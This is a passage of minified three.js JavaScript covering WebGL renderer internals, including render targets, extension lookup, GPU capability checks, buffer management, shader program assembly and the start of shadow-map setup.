o=lt.get(e.texture);rt.framebufferTexture2D(rt.FRAMEBUFFER,rt.COLOR_ATTACHMENT0,rt.TEXTURE_CUBE_MAP_POSITIVE_X+e.activeCubeFace,o.__webglTexture,e.activeMipMapLevel)}},this.readRenderTargetPixels=function(e,t,i,r,o,a){if(e instanceof n.WebGLRenderTarget==!1)return void console.error("THREE.WebGLRenderer.readRenderTargetPixels: renderTarget is not THREE.WebGLRenderTarget.");var s=lt.get(e).__webglFramebuffer;if(s){var c=!1;s!==Te&&(rt.bindFramebuffer(rt.FRAMEBUFFER,s),c=!0);try{var u=e.texture;if(u.format!==n.RGBAFormat&&oe(u.format)!==rt.getParameter(rt.IMPLEMENTATION_COLOR_READ_FORMAT))return void console.error("THREE.WebGLRenderer.readRenderTargetPixels: renderTarget is not in RGBA or implementation defined format.");if(!(u.type===n.UnsignedByteType||oe(u.type)===rt.getParameter(rt.IMPLEMENTATION_COLOR_READ_TYPE)||u.type===n.FloatType&&st.get("WEBGL_color_buffer_float")||u.type===n.HalfFloatType&&st.get("EXT_color_buffer_half_float")))return void console.error("THREE.WebGLRenderer.readRenderTargetPixels: renderTarget is not in UnsignedByteType or implementation defined type.");rt.checkFramebufferStatus(rt.FRAMEBUFFER)===rt.FRAMEBUFFER_COMPLETE?t>0&&t<=e.width-r&&i>0&&i<=e.height-o&&rt.readPixels(t,i,r,o,oe(u.format),oe(u.type),a):console.error("THREE.WebGLRenderer.readRenderTargetPixels: readPixels from renderTarget failed. Framebuffer not complete.")}finally{c&&rt.bindFramebuffer(rt.FRAMEBUFFER,Te)}}}},n.WebGLRenderTarget=function(e,t,i){this.uuid=n.Math.generateUUID(),this.width=e,this.height=t,this.scissor=new n.Vector4(0,0,e,t),this.scissorTest=!1,this.viewport=new n.Vector4(0,0,e,t),i=i||{},void 0===i.minFilter&&(i.minFilter=n.LinearFilter),this.texture=new n.Texture(void 0,void 0,i.wrapS,i.wrapT,i.magFilter,i.minFilter,i.format,i.type,i.anisotropy,i.encoding),this.depthBuffer=void 0!==i.depthBuffer?i.depthBuffer:!0,this.stencilBuffer=void 0!==i.stencilBuffer?i.stencilBuffer:!0,this.depthTexture=null},n.WebGLRenderTarget.prototype={constructor:n.WebGLRenderTarget,setSize:function(e,t){(this.width!==e||this.height!==t)&&(this.width=e,this.height=t,this.dispose()),this.viewport.set(0,0,e,t),this.scissor.set(0,0,e,t)},clone:function(){return(new this.constructor).copy(this)},copy:function(e){return this.width=e.width,this.height=e.height,this.viewport.copy(e.viewport),this.texture=e.texture.clone(),this.depthBuffer=e.depthBuffer,this.stencilBuffer=e.stencilBuffer,this.depthTexture=e.depthTexture,this},dispose:function(){this.dispatchEvent({type:"dispose"})}},n.EventDispatcher.prototype.apply(n.WebGLRenderTarget.prototype),n.WebGLRenderTargetCube=function(e,t,i){n.WebGLRenderTarget.call(this,e,t,i),this.activeCubeFace=0,this.activeMipMapLevel=0},n.WebGLRenderTargetCube.prototype=Object.create(n.WebGLRenderTarget.prototype),n.WebGLRenderTargetCube.prototype.constructor=n.WebGLRenderTargetCube,n.WebGLBufferRenderer=function(e,t,i){function r(e){s=e}function o(t,r){e.drawArrays(s,t,r),i.calls++,i.vertices+=r,s===e.TRIANGLES&&(i.faces+=r/3)}function a(r){var o=t.get("ANGLE_instanced_arrays");if(null===o)return void console.error("THREE.WebGLBufferRenderer: using THREE.InstancedBufferGeometry but hardware does not support extension ANGLE_instanced_arrays.");var a=r.attributes.position,c=0;a instanceof n.InterleavedBufferAttribute?(c=a.data.count,o.drawArraysInstancedANGLE(s,0,c,r.maxInstancedCount)):(c=a.count,o.drawArraysInstancedANGLE(s,0,c,r.maxInstancedCount)),i.calls++,i.vertices+=c*r.maxInstancedCount,s===e.TRIANGLES&&(i.faces+=r.maxInstancedCount*c/3)}var s;this.setMode=r,this.render=o,this.renderInstances=a},n.WebGLIndexedBufferRenderer=function(e,t,i){function r(e){s=e}function n(i){i.array instanceof Uint32Array&&t.get("OES_element_index_uint")?(c=e.UNSIGNED_INT,u=4):(c=e.UNSIGNED_SHORT,u=2)}function o(t,r){e.drawElements(s,r,c,t*u),i.calls++,i.vertices+=r,s===e.TRIANGLES&&(i.faces+=r/3)}function a(r,n,o){var a=t.get("ANGLE_instanced_arrays");return null===a?void console.error("THREE.WebGLBufferRenderer: using THREE.InstancedBufferGeometry but hardware does not support extension ANGLE_instanced_arrays."):(a.drawElementsInstancedANGLE(s,o,c,n*u,r.maxInstancedCount),i.calls++,i.vertices+=o*r.maxInstancedCount,void(s===e.TRIANGLES&&(i.faces+=r.maxInstancedCount*o/3)))}var s,c,u;this.setMode=r,this.setIndex=n,this.render=o,this.renderInstances=a},n.WebGLExtensions=function(e){var t={};this.get=function(i){if(void 0!==t[i])return t[i];var r;switch(i){case"WEBGL_depth_texture":r=e.getExtension("WEBGL_depth_texture")||e.getExtension("MOZ_WEBGL_depth_texture")||e.getExtension("WEBKIT_WEBGL_depth_texture");case"EXT_texture_filter_anisotropic":r=e.getExtension("EXT_texture_filter_anisotropic")||e.getExtension("MOZ_EXT_texture_filter_anisotropic")||e.getExtension("WEBKIT_EXT_texture_filter_anisotropic");break;case"WEBGL_compressed_texture_s3tc":r=e.getExtension("WEBGL_compressed_texture_s3tc")||e.getExtension("MOZ_WEBGL_compressed_texture_s3tc")||e.getExtension("WEBKIT_WEBGL_compressed_texture_s3tc");break;case"WEBGL_compressed_texture_pvrtc":r=e.getExtension("WEBGL_compressed_texture_pvrtc")||e.getExtension("WEBKIT_WEBGL_compressed_texture_pvrtc");break;case"WEBGL_compressed_texture_etc1":r=e.getExtension("WEBGL_compressed_texture_etc1");break;default:r=e.getExtension(i)}return null===r&&console.warn("THREE.WebGLRenderer: "+i+" extension not supported."),t[i]=r,r}},n.WebGLCapabilities=function(e,t,i){function r(t){if("highp"===t){if(e.getShaderPrecisionFormat(e.VERTEX_SHADER,e.HIGH_FLOAT).precision>0&&e.getShaderPrecisionFormat(e.FRAGMENT_SHADER,e.HIGH_FLOAT).precision>0)return"highp";t="mediump"}return"mediump"===t&&e.getShaderPrecisionFormat(e.VERTEX_SHADER,e.MEDIUM_FLOAT).precision>0&&e.getShaderPrecisionFormat(e.FRAGMENT_SHADER,e.MEDIUM_FLOAT).precision>0?"mediump":"lowp"}this.getMaxPrecision=r,this.precision=void 0!==i.precision?i.precision:"highp",this.logarithmicDepthBuffer=void 0!==i.logarithmicDepthBuffer?i.logarithmicDepthBuffer:!1,this.maxTextures=e.getParameter(e.MAX_TEXTURE_IMAGE_UNITS),this.maxVertexTextures=e.getParameter(e.MAX_VERTEX_TEXTURE_IMAGE_UNITS),this.maxTextureSize=e.getParameter(e.MAX_TEXTURE_SIZE),this.maxCubemapSize=e.getParameter(e.MAX_CUBE_MAP_TEXTURE_SIZE),this.maxAttributes=e.getParameter(e.MAX_VERTEX_ATTRIBS),this.maxVertexUniforms=e.getParameter(e.MAX_VERTEX_UNIFORM_VECTORS),this.maxVaryings=e.getParameter(e.MAX_VARYING_VECTORS),this.maxFragmentUniforms=e.getParameter(e.MAX_FRAGMENT_UNIFORM_VECTORS),this.vertexTextures=this.maxVertexTextures>0,this.floatFragmentTextures=!!t.get("OES_texture_float"),this.floatVertexTextures=this.vertexTextures&&this.floatFragmentTextures;var n=r(this.precision);n!==this.precision&&(console.warn("THREE.WebGLRenderer:",this.precision,"not supported, using",n,"instead."),this.precision=n),this.logarithmicDepthBuffer&&(this.logarithmicDepthBuffer=!!t.get("EXT_frag_depth"))},n.WebGLGeometries=function(e,t,i){function r(e){var t=e.geometry;if(void 0!==l[t.id])return l[t.id];t.addEventListener("dispose",o);var r;return t instanceof n.BufferGeometry?r=t:t instanceof n.Geometry&&(void 0===t._bufferGeometry&&(t._bufferGeometry=(new n.BufferGeometry).setFromObject(e)),r=t._bufferGeometry),l[t.id]=r,i.memory.geometries++,r}function o(e){var r=e.target,n=l[r.id];null!==n.index&&s(n.index),c(n.attributes),r.removeEventListener("dispose",o),delete l[r.id];var a=t.get(r);a.wireframe&&s(a.wireframe),t["delete"](r);var u=t.get(n);u.wireframe&&s(u.wireframe),t["delete"](n),i.memory.geometries--}function a(e){return e instanceof n.InterleavedBufferAttribute?t.get(e.data).__webglBuffer:t.get(e).__webglBuffer}function s(t){var i=a(t);void 0!==i&&(e.deleteBuffer(i),u(t))}function c(e){for(var t in e)s(e[t])}function u(e){t["delete"](e instanceof n.InterleavedBufferAttribute?e.data:e)}var l={};this.get=r},n.WebGLLights=function(){var e={};this.get=function(t){if(void 0!==e[t.id])return e[t.id];var i;switch(t.type){case"DirectionalLight":i={direction:new n.Vector3,color:new n.Color,shadow:!1,shadowBias:0,shadowRadius:1,shadowMapSize:new n.Vector2};break;case"SpotLight":i={position:new n.Vector3,direction:new n.Vector3,color:new n.Color,distance:0,coneCos:0,penumbraCos:0,decay:0,shadow:!1,shadowBias:0,shadowRadius:1,shadowMapSize:new n.Vector2};break;case"PointLight":i={position:new n.Vector3,color:new n.Color,distance:0,decay:0,shadow:!1,shadowBias:0,shadowRadius:1,shadowMapSize:new n.Vector2};break;case"HemisphereLight":i={direction:new n.Vector3,skyColor:new n.Color,groundColor:new n.Color}}return e[t.id]=i,i}},n.WebGLObjects=function(e,t,i){function r(t){var i=h.get(t);t.geometry instanceof n.Geometry&&i.updateFromObject(t);var r=i.index,a=i.attributes;null!==r&&o(r,e.ELEMENT_ARRAY_BUFFER);for(var s in a)o(a[s],e.ARRAY_BUFFER);var c=i.morphAttributes;for(var s in c)for(var u=c[s],l=0,d=u.length;d>l;l++)o(u[l],e.ARRAY_BUFFER);return i}function o(e,i){var r=e instanceof n.InterleavedBufferAttribute?e.data:e,o=t.get(r);void 0===o.__webglBuffer?a(o,r,i):o.version!==r.version&&s(o,r,i)}function a(t,i,r){t.__webglBuffer=e.createBuffer(),e.bindBuffer(r,t.__webglBuffer);var n=i.dynamic?e.DYNAMIC_DRAW:e.STATIC_DRAW;e.bufferData(r,i.array,n),t.version=i.version}function s(t,i,r){e.bindBuffer(r,t.__webglBuffer),i.dynamic===!1||-1===i.updateRange.count?e.bufferSubData(r,0,i.array):0===i.updateRange.count?console.error("THREE.WebGLObjects.updateBuffer: dynamic THREE.BufferAttribute marked as needsUpdate but updateRange.count is 0, ensure you are using set methods or updating manually."):(e.bufferSubData(r,i.updateRange.offset*i.array.BYTES_PER_ELEMENT,i.array.subarray(i.updateRange.offset,i.updateRange.offset+i.updateRange.count)),i.updateRange.count=0),t.version=i.version}function c(e){return e instanceof n.InterleavedBufferAttribute?t.get(e.data).__webglBuffer:t.get(e).__webglBuffer}function u(i){var r=t.get(i);if(void 0!==r.wireframe)return r.wireframe;var a=[],s=i.index,c=i.attributes,u=c.position;if(null!==s)for(var h={},d=s.array,p=0,f=d.length;f>p;p+=3){var m=d[p+0],g=d[p+1],v=d[p+2];l(h,m,g)&&a.push(m,g),l(h,g,v)&&a.push(g,v),l(h,v,m)&&a.push(v,m)}else for(var d=c.position.array,p=0,f=d.length/3-1;f>p;p+=3){var m=p+0,g=p+1,v=p+2;a.push(m,g,g,v,v,m)}var y=u.count>65535?Uint32Array:Uint16Array,M=new n.BufferAttribute(new y(a),1);return o(M,e.ELEMENT_ARRAY_BUFFER),r.wireframe=M,M}function l(e,t,i){if(t>i){var r=t;t=i,i=r}var n=e[t];return void 0===n?(e[t]=[i],!0):-1===n.indexOf(i)?(n.push(i),!0):!1}var h=new n.WebGLGeometries(e,t,i);this.getAttributeBuffer=c,this.getWireframeAttribute=u,this.update=r},n.WebGLProgram=function(){function e(e){switch(e){case n.LinearEncoding:return["Linear","( value )"];case n.sRGBEncoding:return["sRGB","( value )"];case n.RGBEEncoding:return["RGBE","( value )"];case n.RGBM7Encoding:return["RGBM","( value, 7.0 )"];case n.RGBM16Encoding:return["RGBM","( value, 16.0 )"];case n.RGBDEncoding:return["RGBD","( value, 256.0 )"];case n.GammaEncoding:return["Gamma","( value, float( GAMMA_FACTOR ) )"];default:throw new Error("unsupported encoding: "+e)}}function t(t,i){var r=e(i);return"vec4 "+t+"( vec4 value ) { return "+r[0]+"ToLinear"+r[1]+"; }"}function i(t,i){var r=e(i);return"vec4 "+t+"( vec4 value ) { return LinearTo"+r[0]+r[1]+"; }"}function r(e,t){var i;switch(t){case n.LinearToneMapping:i="Linear";break;case n.ReinhardToneMapping:i="Reinhard";break;case n.Uncharted2ToneMapping:i="Uncharted2";break;case n.CineonToneMapping:i="OptimizedCineon";break;default:throw new Error("unsupported toneMapping: "+t)}return"vec3 "+e+"( vec3 color ) { return "+i+"ToneMapping( color ); }"}function o(e,t,i){e=e||{};var r=[e.derivatives||t.envMapCubeUV||t.bumpMap||t.normalMap||t.flatShading?"#extension GL_OES_standard_derivatives : enable":"",(e.fragDepth||t.logarithmicDepthBuffer)&&i.get("EXT_frag_depth")?"#extension GL_EXT_frag_depth : enable":"",e.drawBuffers&&i.get("WEBGL_draw_buffers")?"#extension GL_EXT_draw_buffers : require":"",(e.shaderTextureLOD||t.envMap)&&i.get("EXT_shader_texture_lod")?"#extension GL_EXT_shader_texture_lod : enable":""];return r.filter(c).join("\n")}function a(e){var t=[];for(var i in e){var r=e[i];r!==!1&&t.push("#define "+i+" "+r)}return t.join("\n")}function s(e,t){for(var i={},r=e.getProgramParameter(t,e.ACTIVE_ATTRIBUTES),n=0;r>n;n++){var o=e.getActiveAttrib(t,n),a=o.name;i[a]=e.getAttribLocation(t,a)}return i}function c(e){return""!==e}function u(e,t){return e.replace(/NUM_DIR_LIGHTS/g,t.numDirLights).replace(/NUM_SPOT_LIGHTS/g,t.numSpotLights).replace(/NUM_POINT_LIGHTS/g,t.numPointLights).replace(/NUM_HEMI_LIGHTS/g,t.numHemiLights)}function l(e){function t(e,t){var i=n.ShaderChunk[t];if(void 0===i)throw new Error("Can not resolve #include <"+t+">");return l(i)}var i=/#include +<([\w\d.]+)>/g;return e.replace(i,t)}function h(e){function t(e,t,i,r){for(var n="",o=parseInt(t);o<parseInt(i);o++)n+=r.replace(/\[ i \]/g,"[ "+o+" ]");return n}var i=/for \( int i \= (\d+)\; i < (\d+)\; i \+\+ \) \{([\s\S]+?)(?=\})\}/g;return e.replace(i,t)}var d=0;return function(e,p,f,m){var g=e.context,v=f.extensions,y=f.defines,M=f.__webglShader.vertexShader,A=f.__webglShader.fragmentShader,x="SHADOWMAP_TYPE_BASIC";m.shadowMapType===n.PCFShadowMap?x="SHADOWMAP_TYPE_PCF":m.shadowMapType===n.PCFSoftShadowMap&&(x="SHADOWMAP_TYPE_PCF_SOFT");var w="ENVMAP_TYPE_CUBE",E="ENVMAP_MODE_REFLECTION",b="ENVMAP_BLENDING_MULTIPLY";if(m.envMap){switch(f.envMap.mapping){case n.CubeReflectionMapping:case n.CubeRefractionMapping:
w="ENVMAP_TYPE_CUBE";break;case n.CubeUVReflectionMapping:case n.CubeUVRefractionMapping:w="ENVMAP_TYPE_CUBE_UV";break;case n.EquirectangularReflectionMapping:case n.EquirectangularRefractionMapping:w="ENVMAP_TYPE_EQUIREC";break;case n.SphericalReflectionMapping:w="ENVMAP_TYPE_SPHERE"}switch(f.envMap.mapping){case n.CubeRefractionMapping:case n.EquirectangularRefractionMapping:E="ENVMAP_MODE_REFRACTION"}switch(f.combine){case n.MultiplyOperation:b="ENVMAP_BLENDING_MULTIPLY";break;case n.MixOperation:b="ENVMAP_BLENDING_MIX";break;case n.AddOperation:b="ENVMAP_BLENDING_ADD"}}var T,L,D=e.gammaFactor>0?e.gammaFactor:1,N=o(v,m,e.extensions),S=a(y),C=g.createProgram();f instanceof n.RawShaderMaterial?(T="",L=""):(T=["precision "+m.precision+" float;","precision "+m.precision+" int;","#define SHADER_NAME "+f.__webglShader.name,S,m.supportsVertexTextures?"#define VERTEX_TEXTURES":"","#define GAMMA_FACTOR "+D,"#define MAX_BONES "+m.maxBones,m.map?"#define USE_MAP":"",m.envMap?"#define USE_ENVMAP":"",m.envMap?"#define "+E:"",m.lightMap?"#define USE_LIGHTMAP":"",m.aoMap?"#define USE_AOMAP":"",m.emissiveMap?"#define USE_EMISSIVEMAP":"",m.bumpMap?"#define USE_BUMPMAP":"",m.normalMap?"#define USE_NORMALMAP":"",m.displacementMap&&m.supportsVertexTextures?"#define USE_DISPLACEMENTMAP":"",m.specularMap?"#define USE_SPECULARMAP":"",m.roughnessMap?"#define USE_ROUGHNESSMAP":"",m.metalnessMap?"#define USE_METALNESSMAP":"",m.alphaMap?"#define USE_ALPHAMAP":"",m.vertexColors?"#define USE_COLOR":"",m.flatShading?"#define FLAT_SHADED":"",m.skinning?"#define USE_SKINNING":"",m.useVertexTexture?"#define BONE_TEXTURE":"",m.morphTargets?"#define USE_MORPHTARGETS":"",m.morphNormals&&m.flatShading===!1?"#define USE_MORPHNORMALS":"",m.doubleSided?"#define DOUBLE_SIDED":"",m.flipSided?"#define FLIP_SIDED":"","#define NUM_CLIPPING_PLANES "+m.numClippingPlanes,m.shadowMapEnabled?"#define USE_SHADOWMAP":"",m.shadowMapEnabled?"#define "+x:"",m.sizeAttenuation?"#define USE_SIZEATTENUATION":"",m.logarithmicDepthBuffer?"#define USE_LOGDEPTHBUF":"",m.logarithmicDepthBuffer&&e.extensions.get("EXT_frag_depth")?"#define USE_LOGDEPTHBUF_EXT":"","uniform mat4 modelMatrix;","uniform mat4 modelViewMatrix;","uniform mat4 projectionMatrix;","uniform mat4 viewMatrix;","uniform mat3 normalMatrix;","uniform vec3 cameraPosition;","attribute vec3 position;","attribute vec3 normal;","attribute vec2 uv;","#ifdef USE_COLOR"," attribute vec3 color;","#endif","#ifdef USE_MORPHTARGETS"," attribute vec3 morphTarget0;"," attribute vec3 morphTarget1;"," attribute vec3 morphTarget2;"," attribute vec3 morphTarget3;"," #ifdef USE_MORPHNORMALS"," attribute vec3 morphNormal0;"," attribute vec3 morphNormal1;"," attribute vec3 morphNormal2;"," attribute vec3 morphNormal3;"," #else"," attribute vec3 morphTarget4;"," attribute vec3 morphTarget5;"," attribute vec3 morphTarget6;"," attribute vec3 morphTarget7;"," #endif","#endif","#ifdef USE_SKINNING"," attribute vec4 skinIndex;"," attribute vec4 skinWeight;","#endif","\n"].filter(c).join("\n"),L=[N,"precision "+m.precision+" float;","precision "+m.precision+" int;","#define SHADER_NAME "+f.__webglShader.name,S,m.alphaTest?"#define ALPHATEST "+m.alphaTest:"","#define GAMMA_FACTOR "+D,m.useFog&&m.fog?"#define USE_FOG":"",m.useFog&&m.fogExp?"#define FOG_EXP2":"",m.map?"#define USE_MAP":"",m.envMap?"#define USE_ENVMAP":"",m.envMap?"#define "+w:"",m.envMap?"#define "+E:"",m.envMap?"#define "+b:"",m.lightMap?"#define USE_LIGHTMAP":"",m.aoMap?"#define USE_AOMAP":"",m.emissiveMap?"#define USE_EMISSIVEMAP":"",m.bumpMap?"#define USE_BUMPMAP":"",m.normalMap?"#define USE_NORMALMAP":"",m.specularMap?"#define USE_SPECULARMAP":"",m.roughnessMap?"#define USE_ROUGHNESSMAP":"",m.metalnessMap?"#define USE_METALNESSMAP":"",m.alphaMap?"#define USE_ALPHAMAP":"",m.vertexColors?"#define USE_COLOR":"",m.flatShading?"#define FLAT_SHADED":"",m.doubleSided?"#define DOUBLE_SIDED":"",m.flipSided?"#define FLIP_SIDED":"","#define NUM_CLIPPING_PLANES "+m.numClippingPlanes,m.shadowMapEnabled?"#define USE_SHADOWMAP":"",m.shadowMapEnabled?"#define "+x:"",m.premultipliedAlpha?"#define PREMULTIPLIED_ALPHA":"",m.physicallyCorrectLights?"#define PHYSICALLY_CORRECT_LIGHTS":"",m.logarithmicDepthBuffer?"#define USE_LOGDEPTHBUF":"",m.logarithmicDepthBuffer&&e.extensions.get("EXT_frag_depth")?"#define USE_LOGDEPTHBUF_EXT":"",m.envMap&&e.extensions.get("EXT_shader_texture_lod")?"#define TEXTURE_LOD_EXT":"","uniform mat4 viewMatrix;","uniform vec3 cameraPosition;",m.toneMapping!==n.NoToneMapping?"#define TONE_MAPPING":"",m.toneMapping!==n.NoToneMapping?n.ShaderChunk.tonemapping_pars_fragment:"",m.toneMapping!==n.NoToneMapping?r("toneMapping",m.toneMapping):"",m.outputEncoding||m.mapEncoding||m.envMapEncoding||m.emissiveMapEncoding?n.ShaderChunk.encodings_pars_fragment:"",m.mapEncoding?t("mapTexelToLinear",m.mapEncoding):"",m.envMapEncoding?t("envMapTexelToLinear",m.envMapEncoding):"",m.emissiveMapEncoding?t("emissiveMapTexelToLinear",m.emissiveMapEncoding):"",m.outputEncoding?i("linearToOutputTexel",m.outputEncoding):"",m.depthPacking?"#define DEPTH_PACKING "+f.depthPacking:"","\n"].filter(c).join("\n")),M=l(M,m),M=u(M,m),A=l(A,m),A=u(A,m),f instanceof n.ShaderMaterial==!1&&(M=h(M),A=h(A));var I=T+M,j=L+A,_=n.WebGLShader(g,g.VERTEX_SHADER,I),O=n.WebGLShader(g,g.FRAGMENT_SHADER,j);g.attachShader(C,_),g.attachShader(C,O),void 0!==f.index0AttributeName?g.bindAttribLocation(C,0,f.index0AttributeName):m.morphTargets===!0&&g.bindAttribLocation(C,0,"position"),g.linkProgram(C);var z=g.getProgramInfoLog(C),k=g.getShaderInfoLog(_),R=g.getShaderInfoLog(O),B=!0,U=!0;g.getProgramParameter(C,g.LINK_STATUS)===!1?(B=!1,console.error("THREE.WebGLProgram: shader error: ",g.getError(),"gl.VALIDATE_STATUS",g.getProgramParameter(C,g.VALIDATE_STATUS),"gl.getProgramInfoLog",z,k,R)):""!==z?console.warn("THREE.WebGLProgram: gl.getProgramInfoLog()",z):(""===k||""===R)&&(U=!1),U&&(this.diagnostics={runnable:B,material:f,programLog:z,vertexShader:{log:k,prefix:T},fragmentShader:{log:R,prefix:L}}),g.deleteShader(_),g.deleteShader(O);var P;this.getUniforms=function(){return void 0===P&&(P=new n.WebGLUniforms(g,C,e)),P};var F;return this.getAttributes=function(){return void 0===F&&(F=s(g,C)),F},this.destroy=function(){g.deleteProgram(C),this.program=void 0},Object.defineProperties(this,{uniforms:{get:function(){return console.warn("THREE.WebGLProgram: .uniforms is now .getUniforms()."),this.getUniforms()}},attributes:{get:function(){return console.warn("THREE.WebGLProgram: .attributes is now .getAttributes()."),this.getAttributes()}}}),this.id=d++,this.code=p,this.usedTimes=1,this.program=C,this.vertexShader=_,this.fragmentShader=O,this}}(),n.WebGLPrograms=function(e,t){function i(e){if(t.floatVertexTextures&&e&&e.skeleton&&e.skeleton.useVertexTexture)return 1024;var i=t.maxVertexUniforms,r=Math.floor((i-20)/4),o=r;return void 0!==e&&e instanceof n.SkinnedMesh&&(o=Math.min(e.skeleton.bones.length,o),o<e.skeleton.bones.length&&console.warn("WebGLRenderer: too many bones - "+e.skeleton.bones.length+", this GPU supports just "+o+" (try OpenGL instead of ANGLE)")),o}function r(e,t){var i;return e?e instanceof n.Texture?i=e.encoding:e instanceof n.WebGLRenderTarget&&(i=e.texture.encoding):i=n.LinearEncoding,i===n.LinearEncoding&&t&&(i=n.GammaEncoding),i}var o=[],a={MeshDepthMaterial:"depth",MeshNormalMaterial:"normal",MeshBasicMaterial:"basic",MeshLambertMaterial:"lambert",MeshPhongMaterial:"phong",MeshStandardMaterial:"physical",MeshPhysicalMaterial:"physical",LineBasicMaterial:"basic",LineDashedMaterial:"dashed",PointsMaterial:"points"},s=["precision","supportsVertexTextures","map","mapEncoding","envMap","envMapMode","envMapEncoding","lightMap","aoMap","emissiveMap","emissiveMapEncoding","bumpMap","normalMap","displacementMap","specularMap","roughnessMap","metalnessMap","alphaMap","combine","vertexColors","fog","useFog","fogExp","flatShading","sizeAttenuation","logarithmicDepthBuffer","skinning","maxBones","useVertexTexture","morphTargets","morphNormals","maxMorphTargets","maxMorphNormals","premultipliedAlpha","numDirLights","numPointLights","numSpotLights","numHemiLights","shadowMapEnabled","shadowMapType","toneMapping","physicallyCorrectLights","alphaTest","doubleSided","flipSided","numClippingPlanes","depthPacking"];this.getParameters=function(o,s,c,u,l){var h=a[o.type],d=i(l),p=e.getPrecision();null!==o.precision&&(p=t.getMaxPrecision(o.precision),p!==o.precision&&console.warn("THREE.WebGLProgram.getParameters:",o.precision,"not supported, using",p,"instead."));var f={shaderID:h,precision:p,supportsVertexTextures:t.vertexTextures,outputEncoding:r(e.getCurrentRenderTarget(),e.gammaOutput),map:!!o.map,mapEncoding:r(o.map,e.gammaInput),envMap:!!o.envMap,envMapMode:o.envMap&&o.envMap.mapping,envMapEncoding:r(o.envMap,e.gammaInput),envMapCubeUV:!!o.envMap&&(o.envMap.mapping===n.CubeUVReflectionMapping||o.envMap.mapping===n.CubeUVRefractionMapping),lightMap:!!o.lightMap,aoMap:!!o.aoMap,emissiveMap:!!o.emissiveMap,emissiveMapEncoding:r(o.emissiveMap,e.gammaInput),bumpMap:!!o.bumpMap,normalMap:!!o.normalMap,displacementMap:!!o.displacementMap,roughnessMap:!!o.roughnessMap,metalnessMap:!!o.metalnessMap,specularMap:!!o.specularMap,alphaMap:!!o.alphaMap,combine:o.combine,vertexColors:o.vertexColors,fog:c,useFog:o.fog,fogExp:c instanceof n.FogExp2,flatShading:o.shading===n.FlatShading,sizeAttenuation:o.sizeAttenuation,logarithmicDepthBuffer:t.logarithmicDepthBuffer,skinning:o.skinning,maxBones:d,useVertexTexture:t.floatVertexTextures&&l&&l.skeleton&&l.skeleton.useVertexTexture,morphTargets:o.morphTargets,morphNormals:o.morphNormals,maxMorphTargets:e.maxMorphTargets,maxMorphNormals:e.maxMorphNormals,numDirLights:s.directional.length,numPointLights:s.point.length,numSpotLights:s.spot.length,numHemiLights:s.hemi.length,numClippingPlanes:u,shadowMapEnabled:e.shadowMap.enabled&&l.receiveShadow&&s.shadows.length>0,shadowMapType:e.shadowMap.type,toneMapping:e.toneMapping,physicallyCorrectLights:e.physicallyCorrectLights,premultipliedAlpha:o.premultipliedAlpha,alphaTest:o.alphaTest,doubleSided:o.side===n.DoubleSide,flipSided:o.side===n.BackSide,depthPacking:void 0!==o.depthPacking?o.depthPacking:!1};return f},this.getProgramCode=function(e,t){var i=[];if(t.shaderID?i.push(t.shaderID):(i.push(e.fragmentShader),i.push(e.vertexShader)),void 0!==e.defines)for(var r in e.defines)i.push(r),i.push(e.defines[r]);for(var n=0;n<s.length;n++)i.push(t[s[n]]);return i.join()},this.acquireProgram=function(t,i,r){for(var a,s=0,c=o.length;c>s;s++){var u=o[s];if(u.code===r){a=u,++a.usedTimes;break}}return void 0===a&&(a=new n.WebGLProgram(e,r,t,i),o.push(a)),a},this.releaseProgram=function(e){if(0===--e.usedTimes){var t=o.indexOf(e);o[t]=o[o.length-1],o.pop(),e.destroy()}},this.programs=o},n.WebGLProperties=function(){var e={};this.get=function(t){var i=t.uuid,r=e[i];return void 0===r&&(r={},e[i]=r),r},this["delete"]=function(t){delete e[t.uuid]},this.clear=function(){e={}}},n.WebGLShader=function(){function e(e){for(var t=e.split("\n"),i=0;i<t.length;i++)t[i]=i+1+": "+t[i];return t.join("\n")}return function(t,i,r){var n=t.createShader(i);return t.shaderSource(n,r),t.compileShader(n),t.getShaderParameter(n,t.COMPILE_STATUS)===!1&&console.error("THREE.WebGLShader: Shader couldn't compile."),""!==t.getShaderInfoLog(n)&&console.warn("THREE.WebGLShader: gl.getShaderInfoLog()",i===t.VERTEX_SHADER?"vertex":"fragment",t.getShaderInfoLog(n),e(r)),n}}(),n.WebGLShadowMap=function(e,t,i){function r(t,i,r,o){var a=t.geometry,s=null,c=y,u=t.customDepthMaterial;if(r&&(c=M,u=t.customDistanceMaterial),u)s=u;else{var l=void 0!==a.morphTargets&&a.morphTargets.length>0&&i.morphTargets,h=t instanceof n.SkinnedMesh&&i.skinning,d=0;l&&(d|=m),h&&(d|=g),s=c[d]}if(e.localClippingEnabled&&i.clipShadows===!0&&0!==i.clippingPlanes.length){var p=s.uuid,f=i.uuid,v=A[p];void 0===v&&(v={},A[p]=v);var x=v[f];void 0===x&&(x=s.clone(),v[f]=x),s=x}return s.visible=i.visible,s.wireframe=i.wireframe,s.side=i.side,s.clipShadows=i.clipShadows,s.clippingPlanes=i.clippingPlanes,s.wireframeLinewidth=i.wireframeLinewidth,s.linewidth=i.linewidth,r&&void 0!==s.uniforms.lightPos&&s.uniforms.lightPos.value.copy(o),s}function o(e,t,i){if(e.visible!==!1){if(e.layers.test(t.layers)&&(e instanceof n.Mesh||e instanceof n.Line||e instanceof n.Points)&&e.castShadow&&(e.frustumCulled===!1||c.intersectsObject(e)===!0)){var r=e.material;r.visible===!0&&(e.modelViewMatrix.multiplyMatrices(i.matrixWorldInverse,e.matrixWorld),f.push(e))}for(var a=e.children,s=0,u=a.length;u>s;s++)o(a[s],t,i)}}var a=e.context,s=e.state,c=new n.Frustum,u=new n.Matrix4,l=t.shadows,h=new n.Vector2,d=new n.Vector3,p=new n.Vector3,f=[],m=1,g=2,v=(m|g)+1,y=new Array(v),M=new Array(v),A={},x=[new n.Vector3(1,0,0),new n.Vector3(-1,0,0),new n.Vector3(0,0,1),new n.Vector3(0,0,-1),new n.Vector3(0,1,0),new n.Vector3(0,-1,0)],w=[new n.Vector3(0,1,0),new n.Vector3(0,1,0),new n.Vector3(0,1,0),new n.Vector3(0,1,0),new n.Vector3(0,0,1),new n.Vector3(0,0,-1)],E=[new n.Vector4,new n.Vector4,new n.Vector4,new n.Vector4,new n.Vector4,new n.Vector4],b=new n.MeshDepthMaterial;b.depthPacking=n.RGBADepthPacking,b.clipping=!0;for(var T=n.ShaderLib.distanceRGBA,L=n.UniformsUtils.clone(T.uniforms),D=0;D!==v;++D){var N=0!==(D&m),S=0!==(D&g),C=b.clone();C.morphTargets=N,C.skinning=S,y[D]=C;var I=new 